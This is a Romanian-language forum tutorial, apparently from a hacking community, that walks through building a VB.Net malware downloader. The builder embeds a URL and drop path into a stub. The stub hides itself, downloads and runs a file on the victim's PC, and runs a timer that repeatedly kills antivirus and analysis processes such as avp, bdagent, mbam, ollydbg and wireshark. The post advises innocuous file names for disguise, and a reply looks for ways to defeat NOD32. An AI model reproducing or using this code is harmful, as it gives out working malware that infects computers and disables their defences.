Jump to content
vLaDdO96

[Tut] Downloader builder+stub + killProc

Recommended Posts

Aici, acum, in momentul de fata si in topicul respectiv o sa va arat cum putem face un downloader + functia de process kill.

Partea I.

[ I ] Mai intai sa explic ce face fiecare.

1. Downloaderul - este format din doua executabile - un builder si un stub (cateodata builderul este si pe post de stub). Ce face fiecare lucru in parte ?

- Builder-ul : introducem datele necesare cum ar fi :

52783719.png

a) URL-ul fisierului respectiv gen http://www.exemplu.ro/fisier.exe (de retinut ca de obicei nu conteaza extensia fisierului, atata timp cat este salvat in PC-ul victimei cu aceeasi extensie).

71823726.png

B) path-ul fisierului - unde sa fie salvat fisierul in PC-ul victimei. Exemplu : C:\Windows\Boot\scr32.exe - folositi un nume care nu bate la ochi gen 'jocuri_miniclip.exe'.

76076407.png

c) numele fisierului - aici introduceti numele fisierului care va fi salvat in PC-ul victimei.

- Stub-ul : este un fisier continand o bucata de cod, pe care o vom folosi in crearea fisierului rezultat, utilizand si datele introduse in builder.

* de obicei, stub-urile sunt invizibile (opacity = 0%), nu apar in Taskbar [pentru necunoscatori > bara ce contine butonul Start (Windows) si cea cu butonul catre meniu (Linux - scuzati exprimarea greoaie, nu sunt utilizator)], si (majoritatea) apar in Task Manager la tab-ul Processes

Deci ce face downloader-ul pana la urma ? Inchide antivirusul prin process killing (inchide procesul cu numele antivirusului), descarca fisierul introdus de voi si intr-un final in porneste. Simplu !

[ II ] Acum sa trecem la partea de codare !

1. Builder-ul.

a) cream un form.

35047517.png

B) adaugam trei Label-uri*), trei Textbox-uri si un Button.

*) - optional

* asezarea lor depinde de voi.

32442547.png

c) scrierea + explicarea codului (na ca am ajuns si aici)

i) deasupra [Public class Form1] introducem codul urmator :

Imports System.IO

- ce face acest cod ? acest cod ne este necesar in VB.Net atunci cand folosim File Handling-ul - atunci cand scriem fisiere (modificarea Stub-ului).

ii) sub [Public class Form1] introducem codul urmator :

Dim stub, text1, text2, text3 As String
Const Filesplit = "*pr00f*"

- codul "Dim" ne ajuta la declararea variabilelor "stub", "text1", "text2" si "text3" - fara aceasta declaratie nu am putea folosi expresia de "stub" sau "text1", etc, fara intampinarea unei erori.

- codul "Const Filesplit" ne ajuta sa declaram o constanta

- fragmentul "= "*pr00f*"" a folosit la declararea constantei "Filesplit".

Asadar, va arata cam asa codul pana acum :

93804619.png

iii) click pe Button1

iv) adaugam simplu, codul urmator

text1 = TextBox1.Text
text2 = TextBox2.Text
text3 = TextBox3.Text

- aici, variabilele declarate la inceputul Form-ului, sunt folosite pentru a 'egala' fiecare "text" cu Textbox-ul lui.

v) sub codul de mai devreme, adaugam urmatorul :

 Try
FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
stub = Space(LOF(1))
Catch stubload As Exception

End Try

- codul Try / End Try la propriu 'incearca' sa faca codul introdus in el.

- codul "FileOpen" deschide fisierul "Stub.exe" in modul binar (OpenMode.Binary), cu accesul de Read (OpenAccess.Read - il citeste).

- variabila "stub" declarata la inceput, este 'egalata' si ea, aici.

vi) introducem codul :

FileGet(1, stub)
FileClose(1)

- "FileGet" obtine fisierul

- "FileClose" il inchide.

vii) in cazul in care deja exista un fisier cu numele celui build-at (facut) - pasul urmator - si daca vrem (si da, vrem) introducem codul urmator :

If File.Exists("Downloader server.exe") Then
My.Computer.FileSystem.DeleteFile("Downloader server.exe")
End If

- declaratia If / End If ne ajuta sa folosim un cod daca ceva este cum precizam noi. in cazul de fata, daca fisierul "Downloader server.exe" exista ( File.Exists ), atunci sterge fisierul deja existent [ My.Computer.FileSystem.DeleteFile("Downloader server.exe") ] .

viii) ultimul pas si cel mai important - deschiderea fisierului creat - Downloader server.exe - si scrierea lui.

FileOpen(1, Application.StartupPath & "\Downloader server.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(1, stub & Filesplit & text1 & Filesplit & text2 & Filesplit & text3 & Filesplit)
FileClose(1)
MsgBox("Downloader server built successfully.", MsgBoxStyle.Information)

- "FileOpen" deschide fisierul scris, in modul binar, de data aceasta cu acces de citit si scris.

- "FilePut" introduce stub-ul, filesplit-ul si variabilele "text"

builderfinal.png

Felicitari, sunteti gata cu builderul !

Partea II.

[ I ] Stub-ul

1. Creeam un form (bineinteles, mai intai un nou proiect)

98422220.png

2. In dreapta, la proprietatile Form-ului, setam Opacity - 0% si Show in Taskbar - False

42497307.png

3. Introduceti un Timer.

4. Coding.

a) dublu click pe Form.

B) ca la Builder, prima linie a codului trebuie sa fie urmatoarea :

Imports System.IO

- am explicat-o mai sus, daca nu stiti ce face, cititi acolo.

c) sub "Public Class Form1" introducem :

Dim options(), text1, text2, text3 As String
Const Filesplit = "*pr00f*"

- acum observam ca ne lipseste variabila "stub", deoarece nu mai avem nevoie de ea, dar ne-a aparut variabila "options()"

- asigurati-va ca filesplit-ul sa fie identic cu cel de la builder - altfel n-o sa va mearga !

d) la Form1_Load introducem urmatoarele :

Me.Visible = False
Me.Hide()

- aici ne asiguram ca Form-ul stub-ului nu o sa fie vizibil

- chiar daca Form-ul nu este vizibil, facem stub-ul sa dispara, la propriu prin comanda "Me.Hide".

e) pornim timer-ul :

Timer1.Start

- nu necesita explicatie codul asta

f) deschidem fisierul :

FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)

- codul "FileOpen" este explicat mai sus, la fel, recititi in caz ca ati uitat ce face.

g) folosim variabilele si obtinem fisierul :

text1 = Space(LOF(1))
text2 = Space(LOF(1))
text3 = Space(LOF(1))
FileGet(1, text1) 'options(1) - Textbox1
ileGet(1, text2) 'options(2) - Textbox2
FileClose(1)

- variabilele in continuare vor fi folosite in ordinea in care sunt 'egalate'

- am uitat sa precizez ce face comanda "Space(LOF(1))" - este necesara citirii / scrierii fisierelor in modul binar.

h) 'egalarea' variabilei "options()" :

options = Split(text1, Filesplit)
FileClose(1)

i) acum, codul necesar unui downloader :

My.Computer.Network.DownloadFile(options(1), options(2) & options(3))
Process.Start(options(2) & options(3))

- "My.Computer.Network.DownloadFile" - cu un pic de engleza ne dam seama ca aceasta este comanda vitala - descarca fisierul.

- "(options(1), options(2) & options(3))" : options(1) este URL-ul de unde va descarca fisierul, options(2) este path-ul unde va fi descarcat fisierul, iar options(3) este numele fisierului.

j) crearea unui nou Sub. umm, crearea unei noi comenzi, sa fiu mai explicit. intre End Sub-ul de la Form1_Load si End Class, introducem codul urmator :

Public Sub killProcess(ByRef strProcessToKill As String)
Dim proc() As Process = Process.GetProcesses
For i As Integer = 0 To proc.GetUpperBound(0)
If proc(i).ProcessName = strProcessToKill Then
proc(i).Kill()
End If
Next
End Sub

- Public Sub declara o noua comanda - "killProcess"

- "Dim proc() As Process = Process.GetProcesses" : declaram proc() ca fiind proces, egalat cu Process.GetProcesses, care obtine procesele.

- "proc.GetUpperBound" : formeaza un array (o lista) cu procesele.

- "If proc(i).ProcessName = strProcessToKill" : selectarea procesului pentru inchidere

- "proc(i).Kill()" : inchiderea procesului in sine.

k) asigurati-va ca Timer1 are un interval destul de mic (1 - 10 milisecunde), pentru a fi mai eficace. dublu-click pe dansul (Timer1) si introduceti codul urmator :

killProcess("keyscrambler")
killProcess("egui")
killProcess("bdagent")
killProcess("outpost")
killProcess("npfmsg")
killProcess("ollydbg")
killProcess("avp")
killProcess("mbam")
killProcess("anubis")
killProcess("wireshark")

- dupa cum vedeti, acestea sunt numele catorva antivirusi / software-uri antimalware ca Keyscrambler, MalwareBytes' AntiMalware si Wireshark.

- de retinut : la fiecare 1 milisecunda (sau ce interval ati pus voi la Timer), acel Timer va inchide procesele respective din lista.

49722028.png

37335781.png

81623371.png

Felicitari, sunteti gata si cu Stub-ul !

© pr00f = eu

Edited by vLaDdO96
  • Upvote 1
Link to comment
Share on other sites

culmea, sunt utilizator al NOD32-ului doar ca sunt posesor ar Smart Security-ului 4 (antivirus + firewall + functii smechere, uu) , nu numai al av-ului, si sunt cateva chestii - nu am ekrn.exe la procese (il aveam cand aveam doar antivir) DAR (intotdeauna este un 'dar') chiar daca inchid procesul, inca detecteaza fisierele infectate. o sa caut o modalitate sa inchid procesul in totalitate.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...